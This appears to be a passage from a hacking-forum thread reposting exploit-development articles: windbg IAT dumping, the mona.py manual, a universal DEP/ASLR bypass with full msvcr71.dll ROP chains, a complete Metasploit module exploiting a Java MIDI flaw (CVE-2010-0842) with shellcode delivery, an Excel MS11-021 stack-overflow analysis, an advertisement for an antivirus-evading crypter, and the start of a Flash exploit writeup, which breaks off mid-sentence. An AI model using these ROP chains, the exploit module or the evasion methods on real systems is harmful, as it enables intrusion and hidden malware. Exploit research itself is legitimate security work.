way and far more time if you are trying to find your way now. After launching windbg, this is what you’ll get: You can start a debugging process under windbg by launching an application in the debugger (File – Open) or by attaching the debugger to a running application (File – Attach). For the purpose of this example we are going to use notepad.exe as test file, windbg will load the modules and it will stop just before the execution of the program waiting for command. All modules loaded at this moment can be viewed in the screen. As opposed to the other two debuggers, windbg lacks the easy drop down menu commands and identifying IAT requires a bit more time. First we need to locate the address of the Import Address Table in our executable, to do so the command !dh will be used: !dh command will Display the Headers of the requested module, (more for the commands at : http://windbg.info/doc/1-common-cmds.html) where we can identify the location, address of IAT. In my example IAT for notepad is located at memory address 1000 of the module notepad.exe. Dumping the content of the address we need to add the image base of our file plus the memory address of the IAT table, this can be done easily using two ways, either by using “dps notepad+1000 l1000/8 “ or by giving the image base address, “dps 00c10000+1000 l1000/8 “. dps command stands for display pointer-sized contents of memory in the given range. The output of the dps command will give us a lengthy result with the contents of the IAT table and the location of the functions. Another method again for windbg and a bit more elegant is described at OSR's windbg List: Import Table Functions, using the following windbg script, 1: r $t0 = poi(${$arg1}+poi(${$arg1}+0x3c)+0xd8) 2: r $t1 = poi(${$arg1}+poi(${$arg1}+0x3c)+0xdc) 3: dps ${$arg1}+$t0 l? (($t1+4)/4) saving the script under a name, eg: test1.txt in windbg directory and calling the script from windbg with $$>a< test1.txt notepad, we will have the following output on the debugger: 0:000> $$>a< test1.txt notepad 00121000 760e14d6 ADVAPI32!RegSetValueExWStub 00121004 760e46ad ADVAPI32!RegQueryValueExWStub 00121008 760e469d ADVAPI32!RegCloseKeyStub 0012100c 760e1514 ADVAPI32!RegCreateKeyW 00121010 760e468d ADVAPI32!RegOpenKeyExWStub 00121014 760e448e ADVAPI32!IsTextUnicode 00121018 760e369c ADVAPI32!CloseServiceHandleStub 0012101c 760db537 ADVAPI32!QueryServiceConfigWStub 00121020 760dca4c ADVAPI32!OpenServiceWStub 00121024 760dca64 ADVAPI32!OpenSCManagerWStub 00121028 00000000 0012102c 763d55de kernel32!FindNLSStringStub 00121030 763ba125 kernel32!GlobalAllocStub 00121034 763ba183 kernel32!GlobalUnlock 00121038 763ba235 kernel32!GlobalLock 0012103c 763bafc0 kernel32!GetTimeFormatW 00121040 763bb1a2 kernel32!GetDateFormatW 00121044 763baaef kernel32!GetLocalTimeStub 00121048 763b2b7b kernel32!GetUserDefaultUILanguageStub 0012104c 763bc3c0 kernel32!HeapFree 00121050 77a82dd6 ntdll!RtlAllocateHeap 00121054 763bfcdd kernel32!GetProcessHeapStub 00121058 763bbdad kernel32!GetFileInformationByHandleStub 0012105c 763bc452 kernel32!InterlockedExchangeStub 00121060 763b0368 kernel32!FreeLibraryAndExitThreadStub 00121064 763c4c14 kernel32!GetFileAttributesWStub 00121068 763ffd71 kernel32!Wow64RevertWow64FsRedirectionStub ... <snip> ... 001213e0 77a64168 ntdll!RtlInitUnicodeString 001213e4 77a760f8 ntdll!NtQueryLicenseValue 001213e8 77a504a5 ntdll!WinSqmAddToStream 001213ec 00000000 001213f0 74f91a15 VERSION!GetFileVersionInfoExW 001213f4 74f918e9 VERSION!GetFileVersionInfoSizeExW 001213f8 74f91b51 VERSION!VerQueryValueW 001213fc 00000000 00121400 90909090 Common commands for windbg, Common WinDBG Commands Reference - Willy's Cave - Site Home - MSDN Blogs Tutorial: https://www.corelan.be/index.php/2011/12/01/roads-iat/ vbulletin de cacat.
  13. [h=2]mona.py – the manual[/h] Published July 14, 2011 | By Corelan Team (corelanc0d3r) [h=2]Introduction[/h] This document describes the various commands, functionality and behaviour of mona.py. Released on june 16, this pycommand for Immunity Debugger replaces pvefindaddr, solving performance issues, offering numerous improvements and introducing tons of new features. pvefindaddr will still be available for download until all of its functionality has been ported over to mona. [h=2]Downloading mona.py[/h] The mona project page is located here : mona - Overview - Corelan Team There are 2 versions of mona : A "stable" release and a trunk release. The stable release only gets updated once in a while (basically minor and major version updates), the trunk release is the one that has all the "bleeding edge" changes, patches, etc. "Stable" only refers to the fact that there are not a lot of changes (so no unexpected behaviour). It does not mean it is bugfree, it only means the bugs (if any) won’t get fixed until a next release. You can download the stable release here, but I recommend using the trunk release, which can be downloaded here. In fact, all documentation (including this one) is based on trunk releases, so if something is working differently in the stable release, we’ll ask you to start using the trunk release anyway. Together with the release of this documentation, we are also proud to be able to release mona.py v1.1 . The current stable version of mona.py is 1.1, the current trunk version of mona.py is dev-v1.2 Important : Mona only works on Immunity Debugger 1.8x and up. When you have downloaded mona.py, simply save the file into the PyCommands folder. In a typical installation, this folder is located here : C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands That’s it. mona.py is now installed. [h=2]Basic usage[/h] Open Immunity Debugger. At the bottom of the application you should see an input box (command bar) Enter !mona and press return. Open the log window (ALT-L) and you should get a full page of information about mona (options and commands) At the top, you can find the global options. The second half of the output contains all available commands. If you want more information about the use of a certain command, you can simply run !mona help <command>. Suppose you want more info about the use of the "assemble" command, run !mona help assemble output : ----------------------------------------------------------------------------------- Tutorial: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
  14. [h=2]Universal DEP/ASLR bypass with msvcr71.dll and mona.py[/h] Published July 3, 2011 | By Corelan Team (corelanc0d3r) [h=2]Introduction[/h] Over the last few weeks, there has been some commotion about a universal DEP/ASLR bypass routine using ROP gadgets from msvcr71.dll and the fact that it might have been copied into an exploit submitted to Metasploit as part of the Metasploit bounty. For the record, I don’t know exactly what happened nor have I seen the proof… so I’m not going to make any statements about this or judge anyone. Furthermore, this post is not about the incident, but about the routine itself (which looks pretty slick) and alternative routines. [h=2]The White Phosphorus version[/h] Released as part of the White Phosphorus Exploit Pack, the routine only uses gadgets and pointer to VirtualProtect from msvcr71.dll. That particular version of the dll does not rebase and is not ASLR enabled either, which makes it a perfect candidate for universal/generic DEP & ASLR bypass, providing that it contains all required gadgets to perform a generic ROP routine. If your target application has that particular version of the dll loaded (or if you can force it to load one way or another), you can use the ROP chain to bypass DEP and ASLR in a generic way. Immunity Inc published the bypass technique on their website. The routine looks like this : def wp_sayonaraASLRDEPBypass(size=1000): # White Phosphorus # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7] # # This technique uses msvcr71.dll which has shipped unchanged # in the Java Runtime Environment since v1.6.0.0 released # December 2006. # # mail: support@whitephosphorus org # sales: http://www.immunityinc.com/products-whitephosphorus.shtml print "WP> Building Sayonara - Universal ASLR and DEP bypass" size += 4 # bytes to shellcode after pushad esp ptr depBypass = pack('<L', 0x7C344CC1) # pop eax;ret; depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret; depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2} depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect depBypass += pack('<L', 0x7C365645) # pop esi;ret; depBypass += pack('<L', 0x7C345243) # ret; depBypass += pack('<L', 0x7C348F46) # pop ebp;ret; depBypass += pack('<L', 0x7C3487EC) # call eax depBypass += pack('<L', 0x7C344CC1) # pop eax;ret; depBypass += pack("<i", -size) # {size} depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size} depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx} depBypass += pack('<L', 0x7C3439FA) # pop edx;ret; depBypass += pack('<L', 0xFFFFFFC0) # {flag} depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag} depBypass += pack('<L', 0x7C354648) # pop edi;ret; depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret; depBypass += pack('<L', 0x7C344CC1) # pop eax;ret; depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment} depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret; depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret; depBypass += pack('<L', 0x7C36683F) # push esp;ret; print "WP> Universal Bypass Size: %d bytes"%len(depBypass) return depBypass (22 dwords) Triggered by the Metasploit bounty "incident", the fact that Abysssec published a post/document just a few hours ago, and because Immunity already released the routine, I decided to take a look myself & see if there would be another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll. [h=2]The alternative version (mona.py)[/h] I attached Immunity Debugger to an application that has the dll loaded, and used mona.py to create a database with rop gadgets & have it produce a rop chain. Since the one written part of White Phosporus doesn’t have any null bytes, I will try to do the same thing. This is the result : Command used : 17 seconds later, I got this : rop_gadgets = [ 0x7c346c0a, # POP EAX # RETN (msvcr71.dll) 0x7c37a140, # <- *&VirtualProtect() 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll) 0x????????, # ** <- find routine to move virtualprotect() into esi # ** Hint : look for mov [esp+offset],eax and pop esi 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to 'push esp # ret ' (from msvcr71.dll) 0x7c346c0a, # POP EAX # RETN (msvcr71.dll) 0xfffffdff, # value to negate, target value : 0x00000201, target: ebx 0x7c351e05, # NEG EAX # RETN (msvcr71.dll) 0x7c354901, # POP EBX # RETN (msvcr71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll) 0x7c34d201, # POP ECX # RETN (msvcr71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (msvcr71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (msvcr71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (msvcr71.dll) 0x7c346c0a, # POP EAX # RETN (msvcr71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*") Interesting… mona.py generated an almost complete ROP chain using gadgets using pointers from msvcr71.dll. It is slightly larger than the one written by Immunity (so yes, the one part of WP is most likely better), but I just wanted to see if there was an alternative available. The only thing that is missing from the one mona generated, is a routine that would put the VirtualProtect() (in eax) into esi. mona.py didn’t find any obvious gadgets that would simply do something such as "mov esi,eax", so I had to manually search for an alternative. But as mona.py suggested, I simply had to find a gadget that would write the value in eax onto the stack, so you can pick it up in esi later on. In order to do so, you probably need 2 or 3 gadgets : one to get the stack pointer, a second one to write the value onto the stack and a third one to pick it up (pop esi). After searching the generated rop.txt file for a few minutes, I found the following 2 gadgets that will do this : 0x7c37591f : # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN 0x7c376069 : # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN That should work. Using those 2 gadgets, we can simply write the pointer to VirtualProtect() onto the stack and pick it up in ESI. In fact, the second gadget will write and pick up in the same gadget. We just need to make ECX point at the correct location on the stack and make sure POP ESI will take it from that location. Note that the first gadget requires EAX to contain a valid pointer to a readable location. So all we would have to do to make it readable is pop a readable address from msvcr71.dll into EAX first. Putting all of this together, the chain looks like this : rop_gadgets = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) 0x41414141, # EBP (filler) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # <- *&VirtualProtect() 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) 0x41414141, # EDI (filler) 0x41414141, # will be patched at runtime (VP), then picked up into ESI 0x41414141, # EBX (filler) 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0xfffffdff, # size 0x00000201 -> ebx, modify if needed 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) 0x7c354901, # POP EBX # RETN (MSVCR71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) # rop chain generated with mona.py ].pack("V*") 31 dwords… 9 dwords larger than the commercial one from White Phosphorus… but it proves my point. It took me less than 10 minutes to build this chain, it’s universal and bypasses DEP and ASLR. Oh, by the way, in case you didn’t know… if you have other bad chars (so let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’) then you could just run and get other pointers… yes, it’s that simple. !mona rop -m msvcr71.dll -n -cpb '\x0a\x0d' [h=2]Conclusion[/h] no matter how nice & ‘tempting’ a certain solution looks like, there always might be an alternative, and creativity often leads to results. © 2011, Corelan Team (corelanc0d3r). All rights reserved. Vedeti la sursa, futui grijania masii de vbulletin, nu dati bai pe cacatul asta. Sursa: https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
  15. Wi-Fi Security with Wi-Fi Protection Plus Ajin Abraham, Joseph Sebastian Vimal Jyothi Engineering College. ajin25 @ gmail.com +91-9633325997 josephs_18 @ live.com +91-9495587202 Abstract Current Industrial standards of Wi-Fi security are found to have security loop holes, making it possible for hackers to break it. So we consider the possibility of a new technology for Wi-Fi security. We call it Wi-Fi P+ or Wireless Fidelity Protection Plus Introduction Wi-Fi is common nowadays. Every educational institutions and business organizations has got their perimeter covered in Wi-Fi. All the confidential data being transmitted through Wi-Fi, makes it a target for Hackers. To secure it, some Wi-Fi security standards like WEP, WPA, and WPA2 are introduced. Each of them is introduced when the previous security architecture was found to be a failure. But in present situation all of these industrial standard Wi Fi security architectures are found to have vulnerabilities so that a hacker can hack into the Wi Fi network. Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/18486.pdf
  16. [h=1]Java MixerSequencer Object GM_Song Structure Handling Vulnerability[/h] ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability", 'Description' => %q{ This module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability "ebx" points to a fake event in the MIDI file which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the exploit reliable over java updates. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peter Vreugdenhil', # Vulnerability Discovery and exploit 'juan vazquez', # Metasploit module ], 'References' => [ [ 'CVE', '2010-0842' ], [ 'OSVDB', '63493'], [ 'BID', '39077'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ], [ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/'] ], 'Payload' => { 'Space' => 8000, }, 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ # Tested succesfully on: # Windows XP SP3 / IE 6 / Java 6u18 # Windows XP SP3 / IE 7 / Java 6u18 # Windows XP SP3 / IE 8 / Java 6u18 # Windows XP SP3 / Firefox 7.0.1 / Java 6u18 # Windows XP SP3 / IE 8 / Java 6u17 # Windows XP SP3 / Firefox 7.0.1 / Java 6u17 # Windows 7 / IE 8 / Java 6u18 'Windows / Java 6 <=u18', { 'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll } ], ], 'Privileged' => false, 'DisclosureDate' => "Mar 30 2010", 'DefaultTarget' => 0)) end def get_rmf rmf_header = "" rmf_header << "IREZ" # RMFHeaderMagic rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks song_block = "" song_block << "\x00\x00\x00\x65" # OffsetToNextBlock song_block << "SONG" # BlockType song_block << [target.ret].pack("N") # BlockID song_block << "\x00" # BlockName song_block << "\x00\x00\x00\x47" # BlockDataSize song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData midi = "" # HEADERCHUNK Header midi << "MThd" # Header midi << "\x00\x00\x00\x06" # Chunk size midi << "\x00\x01" # Format Type midi << "\x00\x01" # Number of tracks midi << "\x00\x08" # Time division # TRACKCHUNK header midi << "MTrk" # Header midi << "\x00\x00\x24\xd7" # Length midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability # Fake Midi Meta event - Shellcode midi << "\x38" # Variable lenght delta time midi << "\xff" # Midi meta event midi << "\x02" # Meta event type 02 => Copyright notice midi << "\xc9\x50" # Variable Meta Event Length midi << payload.encoded midi << rand_text(9123 - payload.encoded.length) midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock midi_block << "Midi" # BlockType midi_block << "\x00\x00\x7f\xff" # BlockID midi_block << "\x00" # BlockName midi_block << "\x00\x00\x24\xed" # BlockDataSize midi_block << midi # BlockData rmf = "" rmf << rmf_header rmf << song_block rmf << midi_block rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf" return rmf_name, rmf end def get_jar files = [ [ "MyController.class" ], [ "MixerMidiApplet.class" ], [ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ] ] jar = Rex::Zip::Jar.new jar.add_file("META-INF/", "") jar.add_file("META-INF/services/", "") jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842")) jar.build_manifest jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar" return jar_name, jar end def on_request_uri(cli, request) if request.uri =~ /\.jar$/i print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'}) return end if request.uri =~ /\.rmf$/i print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'}) return end base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource rmf_uri = base_uri + "/#{@rmf_name}" jar_uri = base_uri + "/#{@jar_name}" html = %Q| <html> <head> </head> <body> <applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200> <param name="midifile" valuetype="ref" value="#{rmf_uri}"> </applet> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @jar_name, @jar = get_jar @rmf_name, @rmf = get_rmf super end end Sursa: Java MixerSequencer Object GM_Song Structure Handling Vulnerability
  17. [h=2]Microsoft Excel 2007 SP2 Buffer Overwrite Vulnerability BA / Exploit (MS11-021)[/h]Posted by shahin in Exploits / BUG Decryption hello all as we didn’t publish any exploit for a bit we just going to release. [h=2]1) Advisory information[/h] Title : Microsoft Excel 2007 SP2 Buffer Overwrite Vulnerability Vendor : Microsoft Corporation: Software, Smartphones, Online, Games, Cloud Computing, IT Business Technology, Downloads Impact : Critical Contact : info [at] abysssec.com Twitter : @abysssec Microsoft : A remote code execution vulnerability exists in the way that Microsoft Excel handles specially crafted Excel files.An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. [h=2]2) Vulnerability detail[/h] each excel file can contain multiple BOF (2057) records . This record specifies the first substream associated with workbook.One of the fields in these records, specify substream recordd to come with. This field can be extracted from sub_3018F0C2 function. .text:301A0C87 push [ebp+arg_2C] .text:301A0C8A mov ecx, [ebp+var_14] .text:301A0C8D push 1 .text:301A0C8F call sub_3018F0C2 .text:301A0C94 mov ecx, eax .text:301A0C96 mov eax, [ebp+arg_24] .text:301A0C99 cmp eax, ebx .text:301A0C9B mov [ebp+var_10], ecx .text:301A0C9E jz short loc_301A0CA2 .text:301A0CA0 mov [eax], ecx If the field value is equal with 400, sub_3019DFBA function is called to check file type. if file type is xls EXCEL.exe will display a message If approved it will continue to run the code.if you change file extension to xlb there will be any message. After this step sub_3053F626 function will be executed. This function will parse the next BOF records. .text:304D4E9D cmp [ebp+arg_20], ebx .text:304D4EA0 jnz short loc_304D4EC6 .text:304D4EA2 test dword ptr word_30EDCF9C, 2000000h .text:304D4EAC jnz short loc_304D4EC6 .text:304D4EAE mov edx, [ebp+arg_C] .text:304D4EB1 mov ecx, [ebp+arg_8] .text:304D4EB4 push 3Fh .text:304D4EB6 call sub_3019DFBA .text:304D4EBB cmp eax, ebx .text:304D4EBD mov [ebp+var_8], eax .text:304D4EC0 jz loc_304D4FD3 .text:304D4EC6 .text:304D4EC6 loc_304D4EC6: ; CODE XREF: sub_301A0BC7+3342D9j .text:304D4EC6 ; sub_301A0BC7+3342E5j .text:304D4EC6 push ebx .text:304D4EC7 push dword_30EB89A4 .text:304D4ECD push [ebp+var_C] .text:304D4ED0 call sub_3053F626 .text:304D4ED5 cmp dword_30F5E64C, ebx .text:304D4EDB mov [ebp+var_8], eax .text:304D4EDE jz short loc_304D4EE7 .text:304D4EE0 cmp eax, ebx .text:304D4EE2 jz short loc_304D4EE7 one of records may come after BOF,is undocumented record which have record type equal to 0xA7 (167). for truly parsing this record should come with another record with 0x3C (60) record type. if it meet this requirement the length of records will be read and copied to the stack the function which operation of copying data records in the stack is sub_30199E55. This function takes three arguments .The first argument specifies the number of bytes to copy, which will read from file. The second argument specifies the destination of the copy and the third argument specifies the maximum amount of data can be copied. values of the second and third arguments based on the amount of computing reading from file and into this cumpoting,computational error which may occur here … .text:3053F830 call sub_301A0A01 .text:3053F835 cmp eax, 3Ch .text:3053F838 mov [ebp+var_ED4], eax .text:3053F83E jnz loc_30540488 .text:3053F844 call sub_301A0A01 .text:3053F849 mov ecx, [ebp+var_EDC] .text:3053F84F imul ecx, [ebp+var_F00] .text:3053F856 mov edi, eax .text:3053F858 mov eax, [ebp+var_EE0] .text:3053F85E lea ebx, [ecx+eax+3] .text:3053F862 call sub_301A0ABE .text:3053F867 push 0FFFFFFFDh .text:3053F869 pop edx .text:3053F86A sub edx, ecx .text:3053F86C add eax, edx .text:3053F86E push eax ; Dst .text:3053F86F push ebx ; int .text:3053F870 mov eax, edi .text:3053F872 call sub_30199E55 the vulnerability that exists here is that we can change the value of parameter 3 whith our own values. program will not correcly controll third argument of sub_30199E55 this and can result in the desired amount and location of desired data can overwrite in the stack. .text:30199E60 cmp edi, [esp+4+Dst] .text:30199E64 ja loc_303EE1B7 .text:30199E6A mov ecx, [esp+4+arg_0] .text:30199E6E push ebx .text:30199E6F mov ebx, dword_30F726C0 .text:30199E75 push ebp .text:30199E76 mov ebp, nNumberOfBytesToRead .text:30199E7C push esi .text:30199E7D mov [esp+10h+Dst], ecx .... .text:30199E93 mov eax, [esp+10h+Dst] .text:30199E97 push esi ; Size .text:30199E98 lea edx, dword_30F6E6B8[ebx] .text:30199E9E push edx ; Src .text:30199E9F push eax ; Dst .text:30199EA0 sub edi, esi .text:30199EA2 call memcpy .text:30199EA7 add [esp+1Ch+Dst], esi .text:30199EAB add ebx, esi .text:30199EAD add esp, 0Ch .text:30199EB0 test edi, edi .text:30199EB2 mov dword_30F726C0, ebx .text:30199EB8 jnz loc_301E0DB3 [h=2]3) Exploitation :[/h] Stack overflows are not hard to exploit at all ! but as we have both /GS , SAFESEH here. because given that we are destined to memcpy we can change it so that it begins to overwrite the stack after GS. and from there when the return comes , our values contained in the ESP and we can call it with simple call esp and game is over !!! [h=6]download full exploit source : MS11-021[/h] Happy Hacking . Sursa: Microsoft Excel 2007 SP2 Buffer Overwrite Vulnerability BA / Exploit (MS11-021) | Abysssec Security Research
  18. [h=2]bypassing all anti-virus in the world (Good Bye Detection , Hello Infection)[/h]Posted by shahin in news, Pen-test Method, reversing hello to all readers [h=2]Introduction[/h] as you may read in @abysssec in twitter actually in past a few months we did a cool research on bypassing anti-viruses and got really great result . Bypassing anti-viruses is not a new topic and it’s still about encrypting / decrypting of a program to being hide from AV eyes. In past it was really, really easy task to do but AV’s getting smarter and bypassing all anti-viruses with some really unique methods that each of them use is not funny and neither easy to do. before i go feature i like to have a simple glossary for unfamiliar readers. [h=2]Glossary[/h] Crypter : the program (mostly GUI) will crypt the malware / bot to make it hide from anti-viruses Stub : the Decryptor of crypted program FUD : Fully Un Detectable (FUD = no AV detect) RUNPE : run the PE without headers in memory USG : unique stub generator. (make unique stubs) Binder: will join two file will drop in hdd or mem Pumper: will increase size of tool EOF : end of file(in crypter it need to preserve) Cloner : will clone the file (Decryptor like in HDD) Icon Changer: will change the final exe icon well there are two also different kind of crypters scan time and run time. The good crypter is run time one because as it name says the scan time crypter is just FUD at scan time and when you run it and after real malware decrypted it will be detect so not that useful. And the real crypter is the runtime one. [h=2]How it works ?[/h] if we remove all complex technical info for bypassing all 35 anti-virus around the world it works really sample. it simply encrypt program, decrypt, and then run it in memory. encryption algorithm is not important and sample ideas are enough to make a crypter fud but some of mostly used alghortims are : I. RC4 II. AES III.DES IV. TEA V. XOR VI. CryptoAPI VII. blowfish note that there is important part in your job and that is run the malware safely in memory after decrypting it , and this is done by RunPE . the idea of RunPE comes from great PoC by Tan Chew Keong called dynamic forking of win32 exe : SIG^2 G-TEC - Dynamic Forking of Win32 EXE steps and idea are really sample : CreateProcess Find Base address Virtualalloc Align sections Fix thread context Resume thread but this is not easy to hide this kind of API chaining from anti-viruses . so we finished our research by writing a new fud crypter and our crypter is unique and different with public ones . our crypter is unique and can bypass all 35 exist av right now . here is list of AV we fully tested our crypters on them . - Ad-Aware - AhnLab V3 Internet Security - ArcaVir - Avast - Avast 5 - AVG Free - AntiVir (Avira) - BitDefender - BullGuard - VirusBuster Internet Security - Clam Antivirus - COMODO Internet Security - Dr.Web - eTrust-Vet - F-PROT Antivirus - F-Secure Internet Security - G Data - IKARUS Security - Kaspersky Antivirus - McAfee - MS Security Essentials - ESET NOD32 - Norman - Norton Antivirus - Panda Security - A-Squared - Quick Heal Antivirus - Rising Antivirus - Solo Antivirus - Sophos - Trend Micro Internet Security - VBA32 Antivirus - Vexira Antivirus - Webroot Internet Security - Zoner AntiVirus we even tested 10 year ago malware and our crypter can hide them from any anti-virus system . our crypter comes with some unique features here is some of them - FUD 0 / 35 detection - EOF support - Coded in C/ASM Stub and GUI In C# - Compatible with Win 2k/XP/7 x32 and x64 - Ability of bypassing heuristic and emulators (Kaspersky pro-acvtive defense , Nod32 advanced heuristic , Norton Sonar, Avira heuristic) - Command line support - Unicode support (chines , russian and so on) - Right-to-Left Exploit after crypting you can have .mp3 , doc , pdf , avi or anything as output !!! - inbuilt scanner and scanning with 35 anti-virus after cryptring - advanced file binder with drop in disk and memory - Anti-debug - Anti-sandbox - advanced encryption : Double XOR , RC4, AES256 - Advanced resource storage : unique method here is some screen shot of GUI : and finally you can see the actual work in a demo here : http://abysssec.com/files/VampCrypt.rar as we don’t want harm anyone if you are : - penetration testing company - anti virus / IDS company - any legit company who needs it ” please note that WE DON”T give tool / technology to PERSON . ONLY VERIFIED COMPANY ” contact : info [at] abysssec.com and as always you can follow @abysssec in twitter happy fudding . Sursa: bypassing all anti-virus in the world (Good Bye Detection , Hello Infection) | Abysssec Security Research
  19. [h=2]Exploiting CVE-2011-2140 another flash player vulnerability[/h]Posted by shahin hello all . before going future we are sorry to not update blog regularly, but it’s due to we are busy with stack of projects and also working on our expert training courses. so as we didn’t post any blog post here we go with another flash player exploit we wrote long time ago. [h=1]1) Advisory information[/h] [TABLE] [TR] [TD=width: 638] Title : Adobe flash player memory overwrite exploit Version : <= 10.3.186.3 Discovery : Zero Day Initiative Vendor : http://adobe.com Impact : Critical Contact : info [at] abysssec.com Twitter : @abysssec [/TD] [/TR] [/TABLE] [h=1]2) Vulnerability Information[/h] [TABLE] [TR] [TD=width: 638]Class 1- Stack OverwriteImpactSuccessfully exploiting this issue allows remote attackers to gain code execution on vulnerable system Remotely Exploitable Yes Locally Exploitable Yes [/TD] [/TR] [/TABLE] [h=1]3) Vulnerabilities detail[/h] [h=2]1- Stack overwrite vulnerability[/h] Before we go deep into the vulnerability for understanding this vulnerability you should take a look at MP4 format and H.264/AVC data structures.The actual 